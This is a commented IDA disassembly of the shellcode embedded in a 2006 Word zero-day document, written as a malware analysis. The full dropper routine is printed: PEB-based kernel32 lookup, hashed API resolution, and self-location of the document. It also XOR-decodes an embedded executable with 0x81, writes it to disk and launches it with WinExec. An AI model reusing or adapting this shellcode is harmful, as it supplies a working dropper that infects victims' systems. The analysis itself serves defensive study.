seg000:00000000 ;
seg000:00000000 ; +-------------------------------------------------------------------------+
seg000:00000000 ; ¦     This file is generated by The Interactive Disassembler (IDA)        ¦
seg000:00000000 ; ¦     Copyright (c) 2006 by DataRescue sa/nv, <[email protected]>        ¦
seg000:00000000 ; +-------------------------------------------------------------------------+
seg000:00000000 ;
seg000:00000000 ; File Name   : C:\Documents and Settings\Administrator\Desktop\PLANNING REPORT 5-16-2006.doc
seg000:00000000 ; Format      : Binary file
seg000:00000000 ; Base Address: 0000h Range: 0000h - 246F5h Loaded length: 246F5h
seg000:00000000 ; 
seg000:00000000 ; Authors: Michael Ligh and Ryan Smith 
seg000:00000000 ; 
seg000:00000000 ; This is a commented dissassembly of the Word 0-day released in  
seg000:00000000 ; mid-late May 2006. This document does not describe the vulnerability
seg000:00000000 ; or malware that results from an infection. 
seg000:00000000 ; 
seg000:00000000
seg000:00000000
seg000:00000000 unicode         macro page,string,zero
seg000:00000000                 irpc c,<string>
seg000:00000000                 db '&c', page
seg000:00000000                 endm
seg000:00000000                 ifnb <zero>
seg000:00000000                 dw zero
seg000:00000000                 endif
seg000:00000000 endm
seg000:00000000
seg000:00000000                 .686p
seg000:00000000                 .mmx
seg000:00000000                 .model flat
seg000:00000000
seg000:00000000 ---------------------------------------------------------------------------
seg000:00000B2E                 
seg000:00000B2E                 ; The shellcode starts here. It uses Dino Dai Zovi's PEB resolution method
seg000:00000B2E                 ; to load the base address of kernel32.dll. This information will be  
seg000:00000B2E                 ; used to locate the addresses of kernel32's exports (because they
seg000:00000B2E                 ; are offsets from the base address).
seg000:00000B2E                 
seg000:00000B2E                 nop
seg000:00000B2F                 nop
seg000:00000B30                 mov     eax, fs:off_30  ; load PEB address into eax
seg000:00000B36                 mov     eax, [eax+0Ch]
seg000:00000B39                 mov     esi, [eax+1Ch]
seg000:00000B3C                 lodsd
seg000:00000B3D                 mov     esi, [eax+8]    ; kernel32.dll entry point
seg000:00000B40                 jmp     loc_DAF
seg000:00000B40                 
seg000:00000B40                 ; At this point, the code jumps to loc_DAF, which immediately calls sub_B45. 
seg000:00000B40                 ; In doing so, the call instruction sets EIP to 0x00000DB4 (offset in 
seg000:00000B40                 ; this file) and pushes it on the stack. Notably, the first  
seg000:00000B40                 ; instruction in sub_B45 is to pop this address into eax (see below)
seg000:00000B40                 
seg000:00000B45
seg000:00000B45 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
seg000:00000B45
seg000:00000B45
seg000:00000B45                 ; The first part of this code loads the address to which EIP points 
seg000:00000B45                 ; into the eax register. If you look at 0x00000DB4, there isn't much,
seg000:00000B45                 ; but a dword (0A2000h) and three unicode strings of file names.
seg000:00000B45                 ; The code uses the offset of these values from EIP to reference them and 
seg000:00000B45                 ; builds a structure with pointers to them. The same structure will be used
seg000:00000B45                 ; to store addresses of all the kernel32 exports later. In the code 
seg000:00000B45                 ; below, edi contains a pointer to the first member of the structure.
seg000:00000B45                 
seg000:00000B45 sub_B45         proc near               ; CODE XREF: seg000:loc_DAFp
seg000:00000B45                 pop     eax             
seg000:00000B46                 sub     esp, 200h       
seg000:00000B4C                 mov     edi, esp       
seg000:00000B4E                 mov     ebx, [eax]      ; [eax] == 0A2000h 
seg000:00000B50                 mov     [edi+4], ebx    
seg000:00000B53                 mov     [edi+SCRATCH.hKernel32], esi ; entry point of kernel32
seg000:00000B56                 add     eax, 4        
seg000:00000B59                 mov     [edi+SCRATCH.String1], eax ; c:\~$
seg000:00000B5C                 add     eax, 0Ch
seg000:00000B5F                 mov     [edi+SCRATCH.String2], eax ; c:\~.exe
seg000:00000B62                 add     eax, 12h
seg000:00000B65                 mov     [edi+SCRATCH.String3], eax ; c:\~.exe
seg000:00000B6B                 push    edi             ; saves the scratch pad for use within loc_BA1
seg000:00000B6C                 mov     edi, esp
seg000:00000B6E                 xor     edi, 0FFFFh
seg000:00000B74                 dec     edi
seg000:00000B75                 dec     edi
seg000:00000B76                 dec     edi
seg000:00000B77
seg000:00000B77                 ; The next instructions search memory for the original Word document's
seg000:00000B77                 ; own filename. The last mov (above) places the esp pointer into edi. 
seg000:00000B77                 ; The loop works by reading a dword from edi and comparing it to the 
seg000:00000B77                 ; unicode equivalent of "oc". If it matches then it begins to search  
seg000:00000B77                 ; for ".d" (which completes the ".doc" extension). Otherwise, 
seg000:00000B77                 ; it decrements edi and grabs another dword. When done, it jumps
seg000:00000B77                 ; to loc_BA1.
seg000:00000B77                 
seg000:00000B77 loc_B77:                                ; CODE XREF: sub_B45+39j
seg000:00000B77                                         ; sub_B45+45j ...
seg000:00000B77                 dec     edi
seg000:00000B78                 cmp     dword ptr [edi], 63006Fh ; "oc"
seg000:00000B7E                 jnz     short loc_B77
seg000:00000B80                 dec     edi
seg000:00000B81                 dec     edi
seg000:00000B82                 dec     edi
seg000:00000B83                 dec     edi
seg000:00000B84                 cmp     dword ptr [edi], 64002Eh ; ".d"
seg000:00000B8A                 jnz     short loc_B77
seg000:00000B8C                 push    0C8h            
seg000:00000B91                 pop     ecx             
seg000:00000B92                 mov     esi, edi
seg000:00000B94
seg000:00000B94 loc_B94:                                ; CODE XREF: sub_B45+58j
seg000:00000B94                 dec     esi
seg000:00000B95                 cmp     dword ptr [esi], 5C003Ah 
seg000:00000B9B                 jz      short loc_BA1   ; finished - jump to loc_BA1
seg000:00000B9D                 loop    loc_B94
seg000:00000B9F                 jmp     short loc_B77   ; failed - start over again from loc_B77
seg000:00000BA1 ; ---------------------------------------------------------------------------
seg000:00000BA1
seg000:00000BA1                 ; This is the section that fills the shellcode's own structure 
seg000:00000BA1                 ; members with pointers to kernel32 exports. Once again, edi contains
seg000:00000BA1                 ; the pointer to the structure's first member, so all [edi+xyz] are 
seg000:00000BA1                 ; references to the additional members. The loop here consists of  
seg000:00000BA1                 ; pushing two parameters on the stack - a dword hash of the function name 
seg000:00000BA1                 ; (probably hashed to obfuscate the functions it imports) and the
seg000:00000BA1                 ; entry point for kernel32.dll. Each iteration calls resolve_func 
seg000:00000BA1                 ; for the actual work (see 0x00000D5B of this file). When complete,
seg000:00000BA1                 ; the code knows exactly where to find all the system resources and 
seg000:00000BA1                 ; functions it needs.
seg000:00000BA1                 ; 
seg000:00000BA1                 ; Note the xyz field in all the [edi+xyz] operands are natively 
seg000:00000BA1                 ; numerical. My co-worker Ryan reversed the resolve_func sub routine
seg000:00000BA1                 ; and renamed them for readability.
seg000:00000BA1                 
seg000:00000BA1 
seg000:00000BA1 loc_BA1:                                ; CODE XREF: sub_B45+56j
seg000:00000BA1                 dec     esi
seg000:00000BA2                 dec     esi
seg000:00000BA3                 pop     edi            
seg000:00000BA4                 mov     [edi+SCRATCH.szDOCFILENAME], esi 
seg000:00000BA7                 push    [edi+SCRATCH.hKernel32] 
seg000:00000BAA                 push    0C0397ECh       ; GlobalAlloc
seg000:00000BAF                 call    resolve_func
seg000:00000BB4                 mov     [edi+SCRATCH.pGlobalAlloc], eax
seg000:00000BB7                 push    [edi+SCRATCH.hKernel32]
seg000:00000BBA                 push    7CB922F6h       ; GlobalFree
seg000:00000BBF                 call    resolve_func
seg000:00000BC4                 mov     [edi+SCRATCH.pGlobalFree], eax
seg000:00000BC7                 push    dword ptr [edi+8]
seg000:00000BCA                 push    7C0017BBh       ; CreateFileW
seg000:00000BCF                 call    resolve_func
seg000:00000BD4                 mov     [edi+SCRATCH.pCreateFileW], eax
seg000:00000BD7                 push    dword ptr [edi+8]
seg000:00000BDA                 push    0FFD97FBh       ; CloseHandle
seg000:00000BDF                 call    resolve_func
seg000:00000BE4                 mov     [edi+SCRATCH.pCloseHandle], eax
seg000:00000BE7                 push    dword ptr [edi+8]
seg000:00000BEA                 push    10FA6516h       ; ReadFile
seg000:00000BEF                 call    resolve_func
seg000:00000BF4                 mov     [edi+SCRATCH.pReadFile], eax
seg000:00000BF7                 push    dword ptr [edi+8]
seg000:00000BFA                 push    0E80A791Fh      ; WriteFile
seg000:00000BFF                 call    resolve_func
seg000:00000C04                 mov     [edi+SCRATCH.pWriteFile], eax
seg000:00000C07                 push    dword ptr [edi+8]
seg000:00000C0A                 push    0C2FFB03Bh      ; DeleteFileW
seg000:00000C0F                 call    resolve_func
seg000:00000C14                 mov     [edi+SCRATCH.pDeleteFileW], eax
seg000:00000C17                 push    dword ptr [edi+8]
seg000:00000C1A                 push    76DA08ACh       ; SetFilePointer
seg000:00000C1F                 call    resolve_func
seg000:00000C24                 mov     [edi+SCRATCH.pSetFilePointer], eax
seg000:00000C27                 push    dword ptr [edi+8]
seg000:00000C2A                 push    0E8AFE98h       ; WinExec
seg000:00000C2F                 call    resolve_func
seg000:00000C34                 mov     [edi+SCRATCH.pWinExec], eax
seg000:00000C37                 push    dword ptr [edi+8]
seg000:00000C3A                 push    99EC8974h       ; CopyFileW
seg000:00000C3F                 call    resolve_func
seg000:00000C44                 mov     [edi+SCRATCH.pCopyFileW], eax
seg000:00000C47                 push    dword ptr [edi+8]
seg000:00000C4A                 push    73E2D87Eh       ; ExitProcess
seg000:00000C4F                 call    resolve_func    
seg000:00000C54                 mov     [edi+SCRATCH.pExitProcess], eax
seg000:00000C54                 
seg000:00000C54                 ; Delete any previously existing files of the same name. Recall these are 
seg000:00000C54                 ; two of the three unicode file names discussed earlier.
seg000:00000C54                 
seg000:00000C57                 push    [edi+SCRATCH.String2] ; c:\~.exe
seg000:00000C5A                 call    [edi+SCRATCH.pDeleteFileW] 
seg000:00000C5D                 push    [edi+SCRATCH.String1] ; c:\~$
seg000:00000C60                 call    [edi+SCRATCH.pDeleteFileW]
seg000:00000C63                 
seg000:00000C63                 ; The next 3 push instructions are preparing the arguments for CopyFile.
seg000:00000C63                 ; Top down, they are 0 (for overwriting permission), destination 
seg000:00000C63                 ; file name, and source file name (derived by the code's memory searching
seg000:00000C63                 ; technique).
seg000:00000C63                 
seg000:00000C63                 push    0              
seg000:00000C65                 push    [edi+SCRATCH.String1] ; c:\~$
seg000:00000C68                 push    [edi+SCRATCH.szDOCFILENAME] 
seg000:00000C6B                 call    [edi+SCRATCH.pCopyFileW] 
seg000:00000C6E                 
seg000:00000C6E                 ; The next 7 push instructions are preparing the arguments for CreateFile.
seg000:00000C6E                 ; Despite the function name, this only opens an already existing file (in 
seg000:00000C6E                 ; particular an exact copy of the original Word document now at c:\~$ after 
seg000:00000C6E                 ; CopyFile).
seg000:00000C6E                 
seg000:00000C6E                 push    0               
seg000:00000C70                 push    80h 
seg000:00000C75                 push    3
seg000:00000C77                 push    0
seg000:00000C79                 push    0
seg000:00000C7B                 push    80000000h       
seg000:00000C80                 push    [edi+SCRATCH.String1] ; c:\~$
seg000:00000C83                 call    [edi+SCRATCH.pCreateFileW] 
seg000:00000C86                 
seg000:00000C86                 ; This is where it gets a little interesting. The code places its read
seg000:00000C86                 ; pointer at EOF and moves -4 bytes (back toward the beginning). This 
seg000:00000C86                 ; is the offset to where the output file begins. It reads data into
seg000:00000C86                 ; a buffer, makes a call to allocate storate on the heap, then resets the
seg000:00000C86                 ; read pointer and does a second iteration with different offsets. Once it
seg000:00000C86                 ; has collected all the data, it proceeds to loc_CEA for processing.
seg000:00000C86                 
seg000:00000C86                 mov     [edi+SCRATCH.hInputFile], eax
seg000:00000C89                 push    FILE_END        
seg000:00000C8B                 push    0               
seg000:00000C8D                 push    -4              
seg000:00000C8F                 push    [edi+SCRATCH.hInputFile] 
seg000:00000C92                 call    [edi+SCRATCH.pSetFilePointer] 
seg000:00000C95                 push    0              
seg000:00000C97                 lea     ebx, [edi+SCRATCH.endMarker]
seg000:00000C9D                 push    ebx             
seg000:00000C9E                 push    4             
seg000:00000CA0                 lea     ebx, [edi+SCRATCH.field_4]
seg000:00000CA3                 push    ebx             
seg000:00000CA4                 push    [edi+SCRATCH.hInputFile] ; handle to c:\~$
seg000:00000CA7                 call    [edi+SCRATCH.pReadFile] 
seg000:00000CAA                 push    [edi+SCRATCH.field_4] 
seg000:00000CAD                 push    40h ; '@'       ; allocate 40 bytes on heap
seg000:00000CAF                 call    [edi+SCRATCH.pGlobalAlloc]
seg000:00000CB2                 mov     [edi+SCRATCH.pMallocdBuff0], eax 
seg000:00000CB5                 mov     ebx, [edi+SCRATCH.field_4]
seg000:00000CB8                 add     ebx, 4
seg000:00000CBB                 not     ebx
seg000:00000CBD                 inc     ebx
seg000:00000CBE                 push    2               ; new offsets and starting loc
seg000:00000CC0                 push    0              
seg000:00000CC2                 push    ebx     
seg000:00000CC3                 push    [edi+SCRATCH.hInputFile]
seg000:00000CC6                 call    [edi+SCRATCH.pSetFilePointer]
seg000:00000CC9                 push    0
seg000:00000CCB                 lea     ebx, [edi+SCRATCH.endMarker]
seg000:00000CD1                 push    ebx
seg000:00000CD2                 push    [edi+SCRATCH.field_4]
seg000:00000CD5                 push    [edi+SCRATCH.pMallocdBuff0] 
seg000:00000CD8                 push    [edi+SCRATCH.hInputFile]
seg000:00000CDB                 call    [edi+SCRATCH.pReadFile]
seg000:00000CDE                 push    [edi+SCRATCH.hInputFile]
seg000:00000CE1                 call    [edi+SCRATCH.pCloseHandle]
seg000:00000CE4                 mov     eax, [edi+SCRATCH.field_4]
seg000:00000CE7                 mov     ebx, [edi+SCRATCH.pMallocdBuff0] 
seg000:00000CEA
seg000:00000CEA                 ; This section of code loops through all bytes in the buffer filled by the
seg000:00000CEA                 ; previous ReadFile() functions and xor's them with 0x81. In the instructions,
seg000:00000CEA                 ; ebx is the array index and eax is the counter. This xor-encoding 
seg000:00000CEA                 ; scheme obfuscates the code and could help evade IDS detection in 
seg000:00000CEA                 ; some cases.
seg000:00000CEA                 
seg000:00000CEA loc_CEA:                                ; CODE XREF: sub_B45+1ADj
seg000:00000CEA                 xor     byte ptr [ebx], 81h ; The output file is static xor'd with 0x81
seg000:00000CED                 inc     ebx
seg000:00000CEE                 dec     eax
seg000:00000CEF                 cmp     eax, 0
seg000:00000CF2                 jnz     short loc_CEA
seg000:00000CF4                 
seg000:00000CF4                 ; At this point, the decoded payload exists on the heap. What to do with it? 
seg000:00000CF4                 ; Write it to disk of course! And use the last remaining unicode string as its
seg000:00000CF4                 ; file name.
seg000:00000CF4                 
seg000:00000CF4                 push    0
seg000:00000CF6                 push    80h 
seg000:00000CFB                 push    2
seg000:00000CFD                 push    0
seg000:00000CFF                 push    0
seg000:00000D01                 push    40000000h
seg000:00000D06                 push    [edi+SCRATCH.String2] ; c:\~.exe
seg000:00000D09                 call    [edi+SCRATCH.pCreateFileW]
seg000:00000D0C                 mov     [edi+SCRATCH.hFileTwo], eax
seg000:00000D0F                 push    0
seg000:00000D11                 lea     ebx, [edi+SCRATCH.endMarker]
seg000:00000D17                 push    ebx
seg000:00000D18                 push    [edi+SCRATCH.field_4]
seg000:00000D1B                 push    [edi+SCRATCH.pMallocdBuff0] 
seg000:00000D1E                 push    eax
seg000:00000D1F                 call    [edi+SCRATCH.pWriteFile]
seg000:00000D22                 push    0
seg000:00000D24                 lea     ebx, [edi+SCRATCH.endMarker]
seg000:00000D2A                 push    ebx
seg000:00000D2B                 push    0FFh
seg000:00000D30                 push    [edi+SCRATCH.szDOCFILENAME] 
seg000:00000D33                 push    [edi+SCRATCH.hFileTwo]
seg000:00000D36                 call    [edi+SCRATCH.pWriteFile]
seg000:00000D39                 push    [edi+SCRATCH.hFileTwo]
seg000:00000D3C                 
seg000:00000D3C                 ; The code is cleaning up by closing its open file handles and releasing
seg000:00000D3C                 ; the heap back to the OS.
seg000:00000D3C                 
seg000:00000D3C                 call    [edi+SCRATCH.pCloseHandle]
seg000:00000D3F                 push    [edi+SCRATCH.pMallocdBuff0] 
seg000:00000D42                 call    [edi+SCRATCH.pGlobalFree]
seg000:00000D45                 
seg000:00000D45                 ; Here the code calls WinExec() to launch the new executable it has just 
seg000:00000D45                 ; written to disk. Then it deletes the copy of the original Word doc that
seg000:00000D45                 ; it saved to c:\~$ and exits.
seg000:00000D45                 
seg000:00000D45                 push    0
seg000:00000D47                 push    [edi+SCRATCH.String3] ; c:\~.exe
seg000:00000D4D                 call    [edi+SCRATCH.pWinExec]
seg000:00000D50                 push    [edi+SCRATCH.String1] ; c:\~$
seg000:00000D53                 call    [edi+SCRATCH.pDeleteFileW]
seg000:00000D56                 push    0
seg000:00000D58                 call    [edi+SCRATCH.pExitProcess]
seg000:00000D58 sub_B45         endp
seg000:00000D58
seg000:00000D5B
seg000:00000D5B ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
seg000:00000D5B
seg000:00000D5B ; Attributes: bp-based frame
seg000:00000D5B
seg000:00000D5B resolve_func    proc near               ; CODE XREF: sub_B45+6Ap
seg000:00000D5B                                         ; sub_B45+7Ap ...
seg000:00000D5B
seg000:00000D5B arg_0           = dword ptr  8
seg000:00000D5B arg_4           = dword ptr  0Ch
seg000:00000D5B
seg000:00000D5B                 push    ebp             ; standard function prologue
seg000:00000D5C                 mov     ebp, esp        ; standard function prologue
seg000:00000D5E                 push    edi             ; save the scratch pad again
seg000:00000D5F                 mov     edi, [ebp+arg_0] ; move arg[0] into edi
seg000:00000D62                 mov     ebx, [ebp+arg_4] ; move arg[1] into ebx
seg000:00000D65                 push    esi
seg000:00000D66                 mov     esi, [ebx+3Ch]
seg000:00000D69                 mov     esi, [esi+ebx+78h]
seg000:00000D6D                 add     esi, ebx
seg000:00000D6F                 push    esi
seg000:00000D70                 mov     esi, [esi+20h]
seg000:00000D73                 add     esi, ebx
seg000:00000D75                 xor     ecx, ecx
seg000:00000D77                 dec     ecx
seg000:00000D78
seg000:00000D78 loc_D78:                                ; CODE XREF: resolve_func+36j
seg000:00000D78                 inc     ecx
seg000:00000D79                 lodsd
seg000:00000D7A                 add     eax, ebx
seg000:00000D7C                 push    esi
seg000:00000D7D                 xor     esi, esi
seg000:00000D7F
seg000:00000D7F loc_D7F:                                ; CODE XREF: resolve_func+31j
seg000:00000D7F                 movsx   edx, byte ptr [eax]
seg000:00000D82                 cmp     dh, dl
seg000:00000D84                 jz      short loc_D8E
seg000:00000D86                 ror     esi, 0Dh        ; rotate right function
seg000:00000D89                 add     esi, edx
seg000:00000D8B                 inc     eax
seg000:00000D8C                 jmp     short loc_D7F
seg000:00000D8E ; ---------------------------------------------------------------------------
seg000:00000D8E
seg000:00000D8E loc_D8E:                                ; CODE XREF: resolve_func+29j
seg000:00000D8E                 cmp     edi, esi
seg000:00000D90                 pop     esi
seg000:00000D91                 jnz     short loc_D78
seg000:00000D93                 pop     edx
seg000:00000D94                 mov     ebp, ebx
seg000:00000D96                 mov     ebx, [edx+24h]
seg000:00000D99                 add     ebx, ebp
seg000:00000D9B                 mov     cx, [ebx+ecx*2]
seg000:00000D9F                 mov     ebx, [edx+1Ch]
seg000:00000DA2                 add     ebx, ebp
seg000:00000DA4                 mov     eax, [ebx+ecx*4]
seg000:00000DA7                 add     eax, ebp
seg000:00000DA9                 pop     esi
seg000:00000DAA                 pop     edi
seg000:00000DAB                 pop     ebp
seg000:00000DAC                 retn    8
seg000:00000DAC resolve_func    endp
seg000:00000DAC
seg000:00000DAF ; ---------------------------------------------------------------------------
seg000:00000DAF
seg000:00000DAF loc_DAF:                                ; CODE XREF: seg000:00000B40j
seg000:00000DAF                 call    sub_B45
seg000:00000DAF ; ---------------------------------------------------------------------------
seg000:00000DB4                 dd 0A2000h
seg000:00000DB8 aC:
seg000:00000DB8                 unicode 0, <c:\~$>,0
seg000:00000DC4 aC_exe:
seg000:00000DC4                 unicode 0, <c:\~.exe>,0
seg000:00000DD6 aC_exe_0        db 'c:\~.exe',0
seg000:00000DDF                 db  0Eh
seg000:00000DE0                 db    0
seg000:00000DE1                 db 0FFh
seg000:00000DE2                 db 0FFh
seg000:00000DE3                 db 0FFh
seg000:00000DE4                 db